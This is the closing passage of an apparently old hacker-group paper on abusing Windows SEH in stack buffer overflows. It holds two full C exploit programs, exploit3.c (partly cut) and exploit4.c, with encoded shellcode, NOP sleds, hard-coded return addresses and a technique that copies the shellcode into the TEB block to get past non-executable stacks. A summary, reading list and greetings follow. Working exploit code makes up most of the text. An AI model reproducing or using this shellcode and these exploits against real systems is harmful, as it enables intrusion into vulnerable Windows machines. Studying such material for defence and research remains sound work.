"\xd1\x7f\xc9\x1e\xd4\x6e\xc9\x06\xd4\x7e\xcb\x1e\x7a\x5a\x98\x27"
"\xf7\xd1\x2b\x59\x7a\x7a\x9c\xb0\x55\xa6\x7e\xb0\xf0\x2f\xf0\xe2"
"\x5c\x2a\x56\xb0\xd0\x2b\x11\x8c\xef\xd0\x67\x79\x7a\xfc\x67\x3a"
"\x85\x47\x68\xc5\x81\x70\x67\x1a\x81\x1e\x43\x1c\x7a\xff\x98";
//NOTE!: DELETE needless
/* WIN 2000 and XP Unpached
* EBX-based addressing
*/
char minicode[] =
"\x66\x81\xeb\xa0\x01" //sub bx, 0x1A0
"\xff\xe3"; //jmp bx
/* WIN2000, WINXP
* Current stack pointer-based addressing
*/
char minicode[]=
"\x89\xe0" //mov eax, esp
"\x66\x05\xe4\x03" //add ax, 0x3e4
"\xff\xe0"; //jmp eax
int main(int argc, char *argv[])
{
char *bufExe[3];
char buf[700];
int i;
char *ptr = buf;
memset(buf, 0, sizeof(buf));
bufExe[0] = "vuln.exe";
bufExe[2] = NULL;
strcpy(buf, "\x90\x90\x90\x90");
strcat(buf, shellcode);
for(i=sizeof(shellcode);i<416;i++)
strcat(buf, "\x90");
*(unsigned long *)&buf[416] = JUMP;
*(unsigned long *)&buf[420] = RET;
strcat(buf, "\x90\x90\x90\x90");
strcat(buf, minicode);
bufExe[1] = buf;
execve(bufExe[0],bufExe,NULL);
return 0;
}
--------------------------------exploit3.c-------------------------------
Of course there is also a posibility to use EIP to address the shellcode.
Just use this trick:
jmp a
b:pop ebx <--- now, the EIP value is in the EBX register
//code <--- here place your code (sub or add, and than jump)
a:call b
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
&>&>&<&><&>&<>&<>&<&><&>666[***exploit4.c]666<&><&>&<>&<>&<&><&>&<&<&
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
(execution in TEB block)
The last method is very interesting because if the stack was configured to
forbid the execution of code that is placed on it, it will bypass it. How?
All the details are in my paper [1] but now I write only the general concept.
In TEB blocks there are some free locations, that are not used.For example,
starting from 0x7FFDE1BC there is a buffer containing only NULL bytes, which
we can overwrite. So the vuln.exe's buffer should look like the following:
[NOPs][shellcode][NOP][jump 6][call ebx, pop-pop-ret][NOP][BUF_ADDR][TEB][TEB][JUMP lstrcpyA]
where:
BUF_ADR --> the address of the buffer with shellcode placed on the stack (address)
TEB --> the address in the TEB block where we copy our shellcode and
the return address for lstrcpyA (so the TEB block either ;])
JUMP lstrcpyA --> a jump to a funtion that copies data (lstrcpyA, lstrcatA and so on)
--------------------------------exploit4.c-------------------------------
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#define RET 0x79392C0B //jmp ebx, pop-pop-ret
#define JUMP 0x909006EB
//NOTE: DELETE needless
//For Win2000 and XP Unpatched
char minicode[]=
"\xb8\x5C\xDF\x35\x79" //mov eax, STRCPY_FUNC <-- the lstrcpyA's address
"\x66\x81\xeb\x9f\x01" //sub bx, 190 <-- EBX should point to the NOP sledge before shellcode
"\x53" //push ebx <-- push the address of buffer on the stack
"\x68\xbc\xe1\xfd\x7f" //push TEB <-- copy to 0x7FFDE1BC
"\x68\xbc\xe1\xfd\x7f" //push TEB <-- and return to 0x7FFDE1BC
"\xff\xe0"; //jmp eax <-- jump to lstrcpyA
//For Win2000, XP SP0-1
char minicode[]=
"\x89\xe3" //mov ebx, esp
"\x66\x81\xc3\xe4\x03" //add bx, 0x3e4 <-- EBX should point to the NOP sledge before shellcode
"\xb8\x5C\xDF\x35\x79" //mov eax, STRCPY_FUNC
"\x53" //push ebx
"\x68\xbc\xe1\xfd\x7f" //push TEB
"\x68\xbc\xe1\xfd\x7f" //push TEB
"\xff\xe0"; //jmp eax
char shellcode[]=
"\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\x4f\x85"
"\x2f\x98\x83\xeb\xfc\xe2\xf4\xb3\x6d\x79\x98\x4f\x85\x7c\xcd\x19"
"\xd2\xa4\xf4\x6b\x9d\xa4\xdd\x73\x0e\x7b\x9d\x37\x84\xc5\x13\x05"
"\x9d\xa4\xc2\x6f\x84\xc4\x7b\x7d\xcc\xa4\xac\xc4\x84\xc1\xa9\xb0"
"\x79\x1e\x58\xe3\xbd\xcf\xec\x48\x44\xe0\x95\x4e\x42\xc4\x6a\x74"
"\xf9\x0b\x8c\x3a\x64\xa4\xc2\x6b\x84\xc4\xfe\xc4\x89\x64\x13\x15"
"\x99\x2e\x73\xc4\x81\xa4\x99\xa7\x6e\x2d\xa9\x8f\xda\x71\xc5\x14"
"\x47\x27\x98\x11\xef\x1f\xc1\x2b\x0e\x36\x13\x14\x89\xa4\xc3\x53"
"\x0e\x34\x13\x14\x8d\x7c\xf0\xc1\xcb\x21\x74\xb0\x53\xa6\x5f\xce"
"\x69\x2f\x99\x4f\x85\x78\xce\x1c\x0c\xca\x70\x68\x85\x2f\x98\xdf"
"\x84\x2f\x98\xf9\x9c\x37\x7f\xeb\x9c\x5f\x71\xaa\xcc\xa9\xd1\xeb"
"\x9f\x5f\x5f\xeb\x28\x01\x71\x96\x8c\xda\x35\x84\x68\xd3\xa3\x18"
"\xd6\x1d\xc7\x7c\xb7\x2f\xc3\xc2\xce\x0f\xc9\xb0\x52\xa6\x47\xc6"
"\x46\xa2\xed\x5b\xef\x28\xc1\x1e\xd6\xd0\xac\xc0\x7a\x7a\x9c\x16"
"\x0c\x2b\x16\xad\x77\x04\xbf\x1b\x7a\x18\x67\x1a\xb5\x1e\x58\x1f"
"\xd5\x7f\xc8\x0f\xd5\x6f\xc8\xb0\xd0\x03\x11\x88\xb4\xf4\xcb\x1c"
"\xed\x2d\x98\x5e\xd9\xa6\x78\x25\x95\x7f\xcf\xb0\xd0\x0b\xcb\x18"
"\x7a\x7a\xb0\x1c\xd1\x78\x67\x1a\xa5\xa6\x5f\x27\xc6\x62\xdc\x4f"
"\x0c\xcc\x1f\xb5\xb4\xef\x15\x33\xa1\x83\xf2\x5a\xdc\xdc\x33\xc8"
"\x7f\xac\x74\x1b\x43\x6b\xbc\x5f\xc1\x49\x5f\x0b\xa1\x13\x99\x4e"
"\x0c\x53\xbc\x07\x0c\x53\xbc\x03\x0c\x53\xbc\x1f\x08\x6b\xbc\x5f"
"\xd1\x7f\xc9\x1e\xd4\x6e\xc9\x06\xd4\x7e\xcb\x1e\x7a\x5a\x98\x27"
"\xf7\xd1\x2b\x59\x7a\x7a\x9c\xb0\x55\xa6\x7e\xb0\xf0\x2f\xf0\xe2"
"\x5c\x2a\x56\xb0\xd0\x2b\x11\x8c\xef\xd0\x67\x79\x7a\xfc\x67\x3a"
"\x85\x47\x68\xc5\x81\x70\x67\x1a\x81\x1e\x43\x1c\x7a\xff\x98";
int main(int argc, char *argv[])
{
char *bufExe[3];
char buf[700];
int i;
char *ptr = buf;
memset(buf, 0, sizeof(buf));
bufExe[0] = "vuln.exe";
bufExe[2] = NULL;
strcpy(buf, "\x90\x90\x90\x90");
strcat(buf, shellcode);
for(i=sizeof(shellcode);i<416;i++)
strcat(buf, "\x90");
*(unsigned long *)&buf[416] = JUMP;
*(unsigned long *)&buf[420] = RET;
strcat(buf, "\x90");
strcat(buf, minicode);
bufExe[1] = buf;
execve(bufExe[0],bufExe,NULL);
return 0;
}
--------------------------------exploit4.c-------------------------------
><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><
> [>>5<<]. Summary <
>---------------------------------------------------------<
In this paper, I have described the way how SEH works, how to use it and
how to abuse it :). The knowledge from this paper provides a firm basis for
furhter research concerning on bypassing /SAFESEH, /GS or the stack protection
in Windows Server 2003. In the nearest future, the DaRk-CodeRs Group (maybe it
will be me once again) will probably publish results of our research :)
Stay tuned!!!
All questions, suggestions, comments -> e-mail address is in the title;]
><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><
> [>>6<<].Further reading <
>---------------------------------------------------------<
[1] paper: "Shellcode locations and buffer overflows in Windows" at
www.milw0rm.com/papers/205 | www.packetstormsecurity.com/shellcode/shellcode-locations.txt
[2] paper: http://mirror.href.com/thestarman/asm/2bytejumps.htm
[3] paper: http://www.eeye.com/html/resources/newsletters/vice/VI20060830.html
[4] paper: www.ngssoftware.com/papers/NISR.BlindExploitation.pdf
[5] paper: www.ngssoftware.com/papers/defeating-w2k3-stack-protection.pdf
[6] book : Jack Koziol - "The Shellcoder's Handbook"
[7] book : Eldad Eilam - "Reversing: Secrets of Reverse Engineering"
><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><
> [>>7<<]. Greetz' <
>---------------------------------------------------------<
Hard case :) Generally, I thank all people, I know (eeemmm, and i like of course ;]).
You all have contributed something to this paper and to my life;]. Particularly:
Ola N. (for everything: thanks baby :*), Mr. Piotr S. (for technical support (especially
for provision:)) and for everything else), Pawel J. (for friendship), 0in(for enforced me
to write about fuckin' SEH), c0ndemned, Die_Angel, m4r1usz, Katharsis(for "mental" support :)),
e.wiZz(hope you're doin' better and keep on fighting), Dobosz (for Steam's account), wilm@n,
Konrad CZ.
Stay secure
==[END OF FUCKIN' FILE]==